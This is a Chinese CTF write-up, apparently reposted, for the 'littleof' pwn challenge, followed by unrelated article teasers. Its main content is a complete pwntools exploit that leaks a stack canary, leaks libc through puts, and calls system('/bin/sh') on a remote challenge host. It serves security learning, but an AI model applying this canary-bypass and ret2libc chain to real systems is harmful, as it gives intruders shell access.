【PWN · ret2libc | Canary】[2021 鹤城杯]littleof

news2024/10/7 14:32:45

最近比较忙,这道题用了好长时间来debug,甚至贡献了第一次在csdn上提问。。。

目录

前言

一、题目重述&思路分析

二、exp 

三、Canary

四、萌新遇到的困难 

总结


前言

Canary作为经典且基本的栈保护措施,在后期的题目中必然是基本标配。作为新手小白,最初这几次接触有点难受,but多做总结嘛。——ret2libc也依旧不熟练,做总结也是意料之中的事情。


一、题目重述&思路分析

典型存在栈溢出,程序开启了Canary保护。

程序有两次输入,都存在栈溢出。

printf有点格式化字符串漏洞的意思在里面,主要关心的就是%s打印data(地址)存储的值。在这里呢,就是把buf数组——更确切地说是buf首地址开始的字符串进行打印——如果我们写大量的数据覆写掉buf数组长度的字符串的结尾标志,那么下一行printf就可以泄露大量的栈上信息——泄露出我们的Canary

然后我们就可以通过第二个进行泄露libc,再劫持程序控制流到main,为再次进行栈溢出做准备。

主要的exp就作注释写在下方了。 


二、exp 

from pwn import *
from pwn import u64,p64

# io=process("./littleof")
io=remote("node4.anna.nssctf.cn",28750)
elf=ELF("./littleof")

context(arch="amd64",os='linux',log_level='debug')

#payload1:准备泄露canary
payload1=b'a'*(0x50-0x9)+b'b'   #构造尾部不同的垃圾数据,使得能够定位到最后
io.recvuntil(b'overflow?')
io.sendline(payload1);          #注意,最后发了个回车,对应\x0a需要剪掉
io.recvuntil(b'ab')             #定位到canary之前
canary=u64(io.recv(8))          #接收canary,但是勿忘回车
canary=canary-0x0a              #减去回车
print('canary:',hex(canary))

pop_rdi_ret_addr=0x400863
ret_addr=0x40059e               #ret只是为了将system抬高4字节,具体可以看我的另一篇博客
                                #https://blog.csdn.net/Mr_Fmnwon/article/details/130959123?spm=1001.2014.3001.5501
puts_plt=elf.plt['puts']
main_addr=0x400789
puts_got=elf.got["puts"]

print("puts_plt:",hex(puts_plt))
print("plt_got:",hex(puts_got))

#payload2:泄露libc
payload2=b'a'*(0x50-8)+p64(canary)+b'a'*8       #绕过canary保护的垃圾数据
payload2+=p64(pop_rdi_ret_addr)+p64(puts_got)   #pop rdi来设置puts的参数
payload2+=p64(puts_plt)                         #调用puts函数
payload2+=p64(main_addr)                        #返回有效地址且再次进行栈溢出

io.sendlineafter(b'Try harder!',payload2)
puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))    #获取puts真实地址
print("real addr:",hex(puts_addr))

from LibcSearcher import *
#--------------------------------ret2libc---------------------------#
libc=LibcSearcher("puts",puts_addr)
base=puts_addr-libc.dump('puts')
system=base+libc.dump('system')
bin_sh=base+libc.dump('str_bin_sh')
#-------------------------------------------------------------------#

#payload3:构造调用system("/bin/sh")
io.recvuntil(b'overflow?')
payload3=b'a'*(0x50-8)+p64(canary)+b'a'*8
payload3+=p64(ret_addr)
payload3+=p64(pop_rdi_ret_addr)+p64(bin_sh)
payload3+=p64(system)
payload3+=p64(main_addr)

io.sendline(payload3)
io.interactive()

三、Canary

作为萌新,也是通过许多资源才了解到一些知识,放到这里也方便读者

Canary学习(泄露Canary)_西杭的博客-CSDN博客

Canary学习(爆破Canary)_funcanary_西杭的博客-CSDN博客 


四、萌新遇到的困难 

为什么一道题熬了很久呢?因为最近换了台电脑,也在试/配环境 

因为对比其他师傅的exp,一模一样,但是他们可以跑通,我不行,而且报错。。。

无奈只好去提问

新电脑环境,python关于转义字符的报错-编程语言-CSDN问答 

报错在转义符,还以为是环境配置的原因。通过尝试运行其他师傅的代码,发现没有任何问题。然后就逐字逐句对比,发现了影响我的代码的一点差异——字符串对齐 

str.ljust(8,"\x00")
str.rjust(8,"\x00")

如果读者有兴趣找找网上其他的本题的exp,可能会发现有的人用rjust,有的人用ljust,有的人两者都用。

——左对齐,右对齐。什么时候左对齐,什么时候右对齐呢?在这一点上不确定,我想,是对获取信息的格式/长度/大小端序的相关知识并不明确。而网上的资源也太少了,或许是我没找到。如果有大佬能够讲讲,recv(num1).l/rjust(num2,"\x00")以及num1该如何选取该多好啊!

此外sendline会在结尾发送一个回车,作为萌新,勿忘!


总结

不断总结,不断求学

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/622006.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

STL——string模拟实现(一)

目录 构造函数的实现 拷贝构造 赋值重载 const问题 迭代器打印 范围for打印 运算符重载 reserve模拟 插入数据 push_back append 构造函数的实现 先贴出一段错误代码&#xff1a; #include<iostream> #include<assert.h> namespace zzl//避免与库冲突 {…

Servlet 详解

目录 什么是 servlet? Servlet 是做甚的? 如何编写一个 Servlet 程序? 解析访问出错情况 Servlet 的运行原理 1. 接收请求 2. 根据请求计算响应 3. 返回响应 Servlet API 详解 HTTPServlet HttpServletRequset HttpServletResponse 什么是 servlet? Servlet 是…

String模拟实现(二)

resize resize的特点是扩容加初始化&#xff0c;如果所给的长度小于空间大小就会删除多余的数据。前面我们实现了reserve&#xff0c;但有这样一个问题&#xff0c;如果reserve的长度小于空间就会导致缩容&#xff0c;而我们知道&#xff0c;string中缩容用的是shrink_to_fit&a…

外观设计模式解读

目录 问题引进 传统方式解决影院管理 外观模式基本介绍 概念 外观模式原理类图 分类外观模式的角色 外观模式解决影院管理 传统方式解决影院管理说明 外观模式应用实例 外观模式的注意事项和细节 s统的内部细节 > 外观模式 外观模式基本介绍 概念 1) 外观模式&…

XGBoost的介绍

一、XGBoost的介绍 1.什么是XGBoost&#xff1f; XGBoost&#xff08;eXtreme Gradient Boosting&#xff09;是一种基于梯度提升树的机器学习算法&#xff0c;它在解决分类和回归问题上表现出色。它是由陈天奇在2014年开发的&#xff0c;如今已成为机器学习领域中最流行和强…

集合框架知识汇总

集合框架 集合 概念&#xff1a;对象的容器&#xff0c;定义了对多个对象进行操作的常用方法。可以实现数组功能 和数组的区别 数组长度固定&#xff0c;集合长度不固定 数组可以存储基本类型和引用类型&#xff0c;集合只能存储引用类型 总结 List集合 有序&#xff0c;有…

软考网工易混淆知识点总结(持续更新中,按照知识点先后排序)

1.数据编码--原码、反码和补码 原码 数值前面增加了一位符号位(即最高位为符号位)&#xff0c;该位为0时表示正数&#xff0c;为1时则表示负数&#xff0c;其余各位表示数值的大小反码 正数的反码与原码相同&#xff0c;负数的反码符号位为1&#xff0c;其余各位为该数绝对值的…

大型语言模(LLM) : 提示词工程(一)

今天我学习了DeepLearning.AI的 Prompt Engineering 的在线课程&#xff0c;我想和大家一起分享一下该门课程的一些主要内容。 下面是我们访问大型语言模(LLM)的主要代码&#xff1a; import openaiopenai.api_key XXXXXXXXXdef get_completion(prompt, model"gpt-3.5-…

高性能分布式API网关Kong

目录 1 kong网关简介2 为什么需要 API 网关2.1 和Spring Cloud Gateway区别 3 为什么要使用kong3.1 kong的组成部分3.2 Kong网关的特性 4 kong网关架构4.1 Kong网关请求流程 5 kong 部署5.1 搭建网络5.2 搭建数据库环境5.3 kong网关部署5.3.1 初始化kong数据5.3.2 启动Kong容器…

【项目】树莓派4B镜像安装

本文主要记录下如何使用Raspberry Pi image 软件进行树莓派镜像进行安装。 官网&#xff1a;Raspberry Pi OS – Raspberry Pi 百度网盘&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1G7z1Fdvk5Chmhj894WPU3A 提取码&#xff1a;xnzw 一、格式化SD卡 若SD卡存在…

释放潜能——解读新时代OEM竞争规则,打造精雕细琢的用户体验

从消费零售全领域的实践观察来看&#xff0c;仅仅凭借产品赢得竞争的时代已经过去&#xff0c;商业模式创新体现在越来越多企业向“产品服务”转变&#xff0c;向用户全生命周期需求挖掘转变。企业与消费者之间的关系从过去的一次性、断点式产品交易&#xff0c;转向持续性、覆…

读写ini配置文件(C++)

文章目录 1、为什么要使用ini或者其它(例如xml,json)配置文件&#xff1f;2、ini文件基本介绍3、ini配置文件的格式4、C读写ini配置文件5、 代码示例6、 配置文件的解析库 文章转载于&#xff1a;https://blog.csdn.net/weixin_44517656/article/details/109014236 1、为什么要…

基于 Web 和 Deep Zoom 的高分辨率大图查看器的实践

基于 Web 和 Deep Zoom 的高分辨率大图查看器的实践 高分辨率大图像在 Web 中查看可以使用 Deep Zoom 技术&#xff0c;这是一种用于查看和浏览大型高分辨率图像的技术&#xff0c;它可以让用户以交互方式浏览高分辨率大图像&#xff0c;并且能够在不影响图像质量的情况下进行…

搭建个人网站 保姆级教程(四)Navicat链接mySql 失败

长时间没有折腾云服务器上的mysql了&#xff0c;今天再次使用Navicat连接云服务器上的mysql时&#xff0c;输入密码报错&#xff01; 1130 - Host ‘119.130.212.168’ is not allowed to connect to this MySQL server 1.于是Royal TSX 远程服务器查看mysql的状态 systemctl …

通达信标记文字中可能用到的特殊符号大全

特殊符号是难以直接输入的符号&#xff0c;特殊符号是符号的一种&#xff0c;比如说圆圈&#xff08;〇&#xff09;、叉号&#xff08;✕、✖、✘&#xff09;、五角星&#xff08;★、☆&#xff09;、勾号&#xff08;✓、✔&#xff09; 。 01.特殊符号简表 ♠♣♧♡♥❤…

chatgpt赋能python:Python强制取整:如何在Python中正确进行取整操作

Python强制取整&#xff1a;如何在Python中正确进行取整操作 Python是一种广泛使用的编程语言&#xff0c;有许多不同的用途&#xff0c;包括数据分析、web开发、机器学习、科学计算等等。Python语言非常容易学习和使用&#xff0c;但有时候它的行为可能会出人意料&#xff0c…

alpa概览

文章目录 背景alpa简介DeviceMesh跨 DeviceMeshes 的 GPU Buffer管理Ray CollectivePipeline parallelism runtime orchestration运行时 背景 LLM训练有3D并行的需求&#xff08;alpa将数据并行视为张量并行&#xff0c;即张量沿batch切分&#xff09; 算子间并行的通信成本小…

【Vue】父子组件传参 孙子调用爷爷的方法 provide inject

一. 父传子 父组件先在data中定义要传给子组件的属性名父组件在中引入子组件在components中注册使用步骤 3 中注册好的子组件在 3 中&#xff0c;父传子 &#xff08;1&#xff09;利用 : 将父组件的对象、数组、字符串等传给子组件&#xff0c;供子组件使用 &#xff08;2&am…

Rocky Linux9安装教程

序言 Centos废了&#xff0c;最近在考虑将服务器迁移至Rockylinux系统&#xff0c;在这里记录下安装过程 当前安装版本RockyLinux9.2&#xff08;minimal版本&#xff09;&#xff0c;VMware Fusion专业版13.0.2 创建虚拟机 第一步&#xff1a; 先下载好ISO文件&#xff0c…

python-高级特性

文章目录 1.生成式2.生成器3.闭包4.装饰器&#xff08;1&#xff09;万能装饰器的实现&#xff08;2&#xff09;含参数的装饰器&#xff08;3&#xff09;多装饰器 5.内置高阶函数 1.生成式 列表生成式就是一个用来生成列表的特定语法形式的表达式。是Python提供的一种生成列表…